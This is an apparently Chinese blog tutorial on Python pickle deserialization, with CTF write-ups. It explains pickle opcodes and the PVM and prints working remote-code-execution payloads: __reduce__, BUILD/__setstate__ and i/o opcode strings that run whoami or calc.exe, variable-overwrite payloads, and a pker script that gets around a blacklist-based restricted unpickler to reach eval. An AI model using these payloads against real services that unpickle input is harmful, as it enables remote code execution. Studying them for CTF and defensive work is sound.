1. 程式人生 > >python反序列化學習記錄

python反序列化學習記錄

## pickle與序列化和反序列化 [官方文件](https://docs.python.org/zh-cn/3/library/pickle.html) > 模組 pickle 實現了對一個 Python 物件結構的二進位制序列化和反序列化。 "pickling" 是**將 Python 物件及其所擁有的層次結構轉化為一個位元組流的過程**,而 "unpickling" 是相反的操作,**會將(來自一個 binary file 或者 bytes-like object 的)位元組流轉化回一個物件層次結構**。 pickling(和 unpickling)也被稱為“序列化”, “編組” 或者 “平面化”。而為了避免混亂,此處採用術語 “封存 (pickling)” 和 “解封 (unpickling)”。 - `pickle.dumps(object)`:用於序列化一個物件 - `pickle.loads(picklestring)`:用於反序列化資料,實現一個物件的構建 測試程式碼: ```python #python3.7 import pickle class test_1(): def __init__(self): self.name = 'LH' self.age = 20 class test_2(): name = 'LH' age = 20 test1 = test_1() a_1 = pickle.dumps(test1) test2 = test_2() a_2 = pickle.dumps(test2) print("test_1序列化結果:") print(a_1) print("test_2序列化結果:") print(a_2) b_1 = pickle.loads(a_1) b_2 = pickle.loads(a_2) print("test_1反序列化結果:") print(b_1.name) print(b_1.age) print("test_2反序列化結果:") print(b_2.name) print(b_2.age) ``` 執行結果: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806092130631.png) 可以看到序列化結果長短不同,這是因為待處理的類裡面有無`__init__`造成的,test_2類沒有使用`__init__`所以序列化結果並沒有涉及到`name`和`age`。但是反序列化之後仍然可以得到對應的屬性值。 另外:如果在反序列化生成一個物件以前刪除了這個物件對應的類,那麼我們在反序列化的過程中因為物件在當前的執行環境中沒有找到這個類就會報錯,從而反序列化失敗。 ## \_\_reduce\_\_() 類似於PHP中的`__wakeup__`魔法函式。如果當`__reduce__`返回值為一個元組(2到5個引數),第一個引數是可呼叫(callable)的物件,第二個是該物件所需的引數元組。在這種情況下,反序列化時會自動執行__reduce__裡面的操作。 測試程式碼: ```python #python3.7 import os import pickle class A(): def __reduce__(self): cmd = "whoami" return (os.system,(cmd,)) a=A() str=pickle.dumps(a) pickle.loads(str) ``` 執行結果: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806171835556.png) 現在把關注點放在序列化資料,以及如何根據序列化資料實現反序列化。 ### 指定protocol `pickle.dumps(object)`在生成序列化資料時可以指定protocol引數,其取值包括: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806091442070.png) - 當protocol=0時,序列化之後的資料流是可讀的(ASCII碼) - 當protocol=3時,為python3的預設protocol值,序列化之後的資料流是hex碼 更改程式碼: ```python #python3.7 import os import pickle class A(): def __reduce__(self): cmd = "whoami" return (os.system,(cmd,)) a=A() str=pickle.dumps(a,protocol=0) print(str) print(str.decode()) #將byte型別轉化為string型別 ``` 執行結果: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200805230738123-副本.png) 不瞭解`pickle`的相關指令的話,以上序列化結果根本看不懂: `pickle`相關的指令碼與作用: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808347545.png) 這裡注意到`R`操作碼,執行了可呼叫物件,可知它其實就是`__reduce__()`的底層實現。 其他指令可以在python的lib檔案下的pickle.py檢視: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200805230651218.png) 對執行結果分解: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200805225222829.png) 涉及到指令碼,可以把pickle理解成一門棧語言: - pickle解析依靠Pickle Virtual Machine (PVM)進行。 - PVM涉及到三個部分:1. 解析引擎 2. 棧 3. 記憶體: - 解析引擎:從流中讀取指令碼和引數,並對其進行解釋處理。重複這個動作,直到遇到 `.` 停止。最終留在棧頂的值將被作為反序列化物件返回 - 棧:由Python的list實現,被用來臨時儲存資料、引數以及物件 - memo列表:由Python的dict實現,為PVM的生命週期提供儲存資料的作用,以便後來的使用 結合上面的指令碼與作用,可以分析出具體的過程。 ### 具體過程 首先是: ```python cnt system ``` 也即引入`nt.system`,這裡的`nt`是模組`os`的名稱`name`,`os.name`在不同環境對應的值不同: Windows下為`nt`: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200805222205471-1.png) Linux下為`posix`: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200805222453062.png) `posix`是 `Portable Operating System Interface of UNIX`(可移植作業系統介面)的縮寫。Linux 和 Mac OS 均會返回該值。 ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808529836.png) 然後再執行`p0`,將棧頂內容寫入到列表中,由於是列表第一個資料因此索引為0: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808554997.png) 接下去執行`(Vwhoami`,`(`是將一個標誌位MASK壓入棧中,`Vwhoami`就是將字串“whoami”壓入棧中: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808579976.png) 接下去執行`p1`,將棧頂資料"whoami"寫入列表,索引為1: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808609721.png) 再執行`tp2`,首先棧彈出從棧頂到MASK標誌位的資料,將其轉化為元組型別,然後再壓入棧。最後`p2`將棧頂資料(也即元組)寫入列表,索引為2: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808638375.png) 再執行`Rp3`,先將之前壓入棧中的元組和可呼叫物件**全部彈出**然後執行,這裡也即執行`nt.system("whoami")`,接著將結果壓入棧。最後`p3`將棧頂資料(也即執行結果)寫入列表,索引為3: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808667921.png) 總的過程如下: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596808998679.png) 由於memo列表只是起到一個儲存資料的作用,如果目的只是想要執行`nt.system("whoami")`,可以將原序列化資料中**有關寫入列表的操作給去除**。也即原`b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'`可簡化為`b'cnt\nsystem\n(Vwhoami\ntR.'`,仍然是可以達到執行目的的: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806102928073.png) ## pickletools模組 官方說明: > 此模組包含與 pickle 模組內部細節有關的多個常量,一些關於具體實現的詳細註釋,以及一些能夠分析封存資料的有用函式。 此模組的內容對需要操作 pickle 的 Python 核心開發者來說很有用處;pickle 的一般使用者則可能會感覺 pickletools 模組與他們無關。 相關介面: - `pickletools.dis(picklestring)`: 可以更方便的看到每一步的操作原理。如上面的例子執行該方法: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806100220809.png) - `pickletools.optimize(picklestring)`: **消除未使用的 PUT 操作碼之後返回一個新的等效 pickle 字串**。 優化後的 pickle 將更為簡短,耗費更為的傳輸時間,要求更少的儲存空間並能更高效地解封。也即上面分析能夠經過簡化的過程: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806162530169.png) 測試程式碼: ```python #python3.7 import pickle import pickle import pickletools class person(): def __init__(self, name, age): self.name = name self.age = age me = person('LH', 20) str = pickle.dumps(me) print(str) pickletools.dis(str) ``` 執行結果: ```python b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ person' 19: q BINPUT 0 21: ) EMPTY_TUPLE 22: \x81 NEWOBJ 23: q BINPUT 1 25: } EMPTY_DICT 26: q BINPUT 2 28: ( MARK 29: X BINUNICODE 'name' 38: q BINPUT 3 40: X BINUNICODE 'LH' 47: q BINPUT 4 49: X BINUNICODE 'age' 57: q BINPUT 5 59: K BININT1 20 61: u SETITEMS (MARK at 28) 62: b BUILD 63: . STOP highest protocol among opcodes = 2 ``` 對`str`使用`pickle.optimize`進行簡化: ```python >>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.' >>>pickletools.optimize(str) >>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.' ``` ## 應用 修改剛才原始碼: ```python #python3.7 import base64 import pickle import otherpeople class person(): def __init__(self, name, age): self.name = name self.age = age me=pickle.loads(base64.b64decode(input())) if otherpeople.name==me.name and otherpeople.age==me.age: print("flag") else: print("hack") ``` 同目錄下新建otherpeople資料夾,寫入\_\_init.py\_\_用於新建一個模板: ```python name = 'Dr.liu' age = 21 ``` 要求我們輸入待反序列化的資料,使得反序列化之後為`person`類的一個物件`me`,如果`me.name`與`me.age`分別等於`otherpeople`模板的`name`和`age`,才能得到flag。如果把剛才的序列化資料中的`LH`和`20`改成模板中的`Dr.liu`和`21`則能實現: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806220142800.png) > 第二個hex碼對應是字串的長度,十六進位制的14對應為十進位制20 但是此時我們並不知道`otherpeople`模板的內容,所以並不能實現。 根據前面的例子可知,引用模組在`pickle`中對應的操作碼是`c`,所以可以根據其書寫規則得到`otherpeople.name`和`otherpeople.age`對應的序列化資料是`cotherpeople\nname\n`和`cotherpeople\nage\n`,將原資料進行替換: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806214900543.png) 再對替換的結果進行base64編碼: ```python >>>import base64 >>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.') >>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu' ``` 驗證: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806220631184.png) ### 限制module `pickle`原始碼中,c指令是基於`find_class`這個方法實現的,然而`find_class`可以被出題人重寫。如果出題人只允許c指令包含`__main__`這一個module、不允許匯入其他module,也即剛才的`cotherpeople`被限制了。此時又該如何繞過呢? ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200806222117758.png) 回到剛才的測試程式碼的執行結果,發現`pickle`是構建`person`的過程是完全可視的,而且是在`__main__`這個module進行構建的: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807000947343.png) 那麼就可以根據pickle語法,插入一段資料,這段資料用於在`__main__`中構建一個`otherpeople`物件,此時`otherpeople.name`和`otherpeople.age`也是可控的,這樣我們就可以覆蓋掉原本未知的`Dr.liu`和`21`,只需確保和`person.name`和`person.age`相等即可。 先放出示意圖: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807000226112.png) 解釋一下惡意插入的序列化資料: ```python b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0' ``` 1、首先類比構建`person`物件時的語法:`c__main__\notherpeople\n}` 2、接下去`(`操作碼錶示將壓入一個元組到棧中,`V`操作碼錶示跟在它後面的資料是一個字串,`K`操作碼錶示跟在它後面的資料是一個整型數字,`Vname\nVsunxiaokong\nVage\nK\x16`表示的元組為:`{'name':'sunxiaokong','age':22}` 3、然後`u`操作碼規定了即將構建的物件的界限,`b`操作碼用於構造物件 4、`0`操作碼將該物件(棧頂元素)從棧彈出 經過上面的操作此時`otherpeople.name='sunxiaokong'`、`otherpeople.age=22`,因此後半段`person`中相應的屬性也應該改成相同的值: ```python X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16 ``` 驗證: ```python >>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.') b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu' ``` ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807003653189.png) 以上思路也是“2020高校戰疫”webtmp的解題思路 ### 限制\_\_reduce()\_\_ 如果限制`__reduce()__`,需要另外一個知識點: 關注操作碼`b`: ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807090256903.png) ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807090557861.png) 跟進到`load_build`函式: ```python def load_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) #獲取inst的__setstate__方法 if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build ``` 把當前棧棧頂資料記為`state`,然後彈出,再把接下去的棧頂資料記為`inst` 關注到第七行的`setstate(state)`,這意味著可以RCE,但是`inst`原先是沒有`__setstate__`這個方法的。可以利用{‘`__setstate__`’: `os.system`}來BUILD這個物件,那麼現在`inst`的`__setstate__`方法就變成了`os.system`;另外再確保`state`也即一開始的棧頂元素為`calc.exe`,則會執行`setstate(“calc.exe”)` ,也即`os.system("calc.exe")`。 上面的操作對應的payload如下: ```python b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.' ``` 驗證程式碼: ````python import os import pickle import pickletools class A(): #balabala····· str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.' pickle.loads(str) ```` ![](http://hed9eh0g.top/wp-content/uploads/2020/08/image-20200807131805027.png) 除了操作碼`b`可以利用外,還有`i`和`o`操作碼可以實現RCE: ```python b'(S\'whoami\'\nios\nsystem\n.' b'(cos\nsystem\nS\'whoami\'\no.' ``` payload的構造可以參照對應的作用: ![file](http://hed9eh0g.top/wp-content/uploads/2020/08/image-1596809354444.png) ## 工具pker [Github地址](https://github.com/eddieivan01/pker) 藉助該工具,可以省去人工構造payload,根據自己的相關需求可以自動生成相應的序列化資料。 pker主要用到**GLOBAL**、**INST**、**OBJ**三種特殊的函式以及一些必要的轉換方式: - **GLOBAL** :用來獲取module下的一個全域性物件,對應操作碼`c` ,如`GLOBAL('os', 'system')` - **INST** :建立併入棧一個物件(可以執行一個函式),對應操作碼`i` ,如`INST('os','system','ls')` ,輸入規則按照:`module,callable,para` - **OBJ** :建立併入棧一個物件(傳入的第一個引數為callable,可以執行一個函式),對應操作碼`o`。 如`OBJ(GLOBAL('os','system'),'ls')` ,輸入規則按照:`callable,para` - **xxx(xx,...)**: 使用引數xx呼叫函式xxx,對應操作碼`R` - **li[0]**=**321或globals_dic['local_var']='hello'** :更新列表或字典的某項的值,對應操作碼`s` - **xx.attr**=**123**:對xx物件進行屬性設定,對應操作碼`b` - **return** :出棧,對應操作碼`0` 使用例子: 1、用於執行`os.system("whoami")`: ```python s='whoami' system = GLOBAL('os', 'system') system(s) # b'R'呼叫 return ``` 2、全域性變數覆蓋舉例: ```python secret=GLOBAL('__main__', 'secret') secret.name='1' secret.category='2' ``` 以剛剛上面那道只允許引入`__main__`模組的變數覆蓋為例,對應的pker程式碼: ```python otherpeople = GLOBAL('__main__','otherpeople') otherpeople.name = 'sunxiaokong' otherpeople.age = 22 new = INST('__main__', 'person','sunxiaokong',20) return new ``` ### Code-Breaking picklecode ```python import pickle import base64 import builtins import io class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() restricted_loads(base64.b64decode(input())) ``` 程式碼的主要內容就是限制了反序列化的內容,規定了我們只能引用`builtins`這個模組,而且禁止了裡面的一些函式。但是沒有禁止`getattr`這個方法,因此我們可以構造`builtins.getattr(builtins,’eval’)`的方法來構造`eval`函式。pickle不能直接獲取`builtins`一級模組,但可以通過`builtins.globals()`獲得`builtins`;這樣就可以執行任意程式碼了。 用pker構造payload: ```python #先借助builtins.globals獲取builtins模組 getattr=GLOBAL('builtins','getattr') dict=GLOBAL('builtins','dict') dict_get=getattr(dict,'get') glo_dic=GLOBAL('builtins','globals')() builtins=dict_get(glo_dic,'builtins') #再用builtins模組獲取eval函式 eval=getattr(builtins,'eval') eval('ls') ret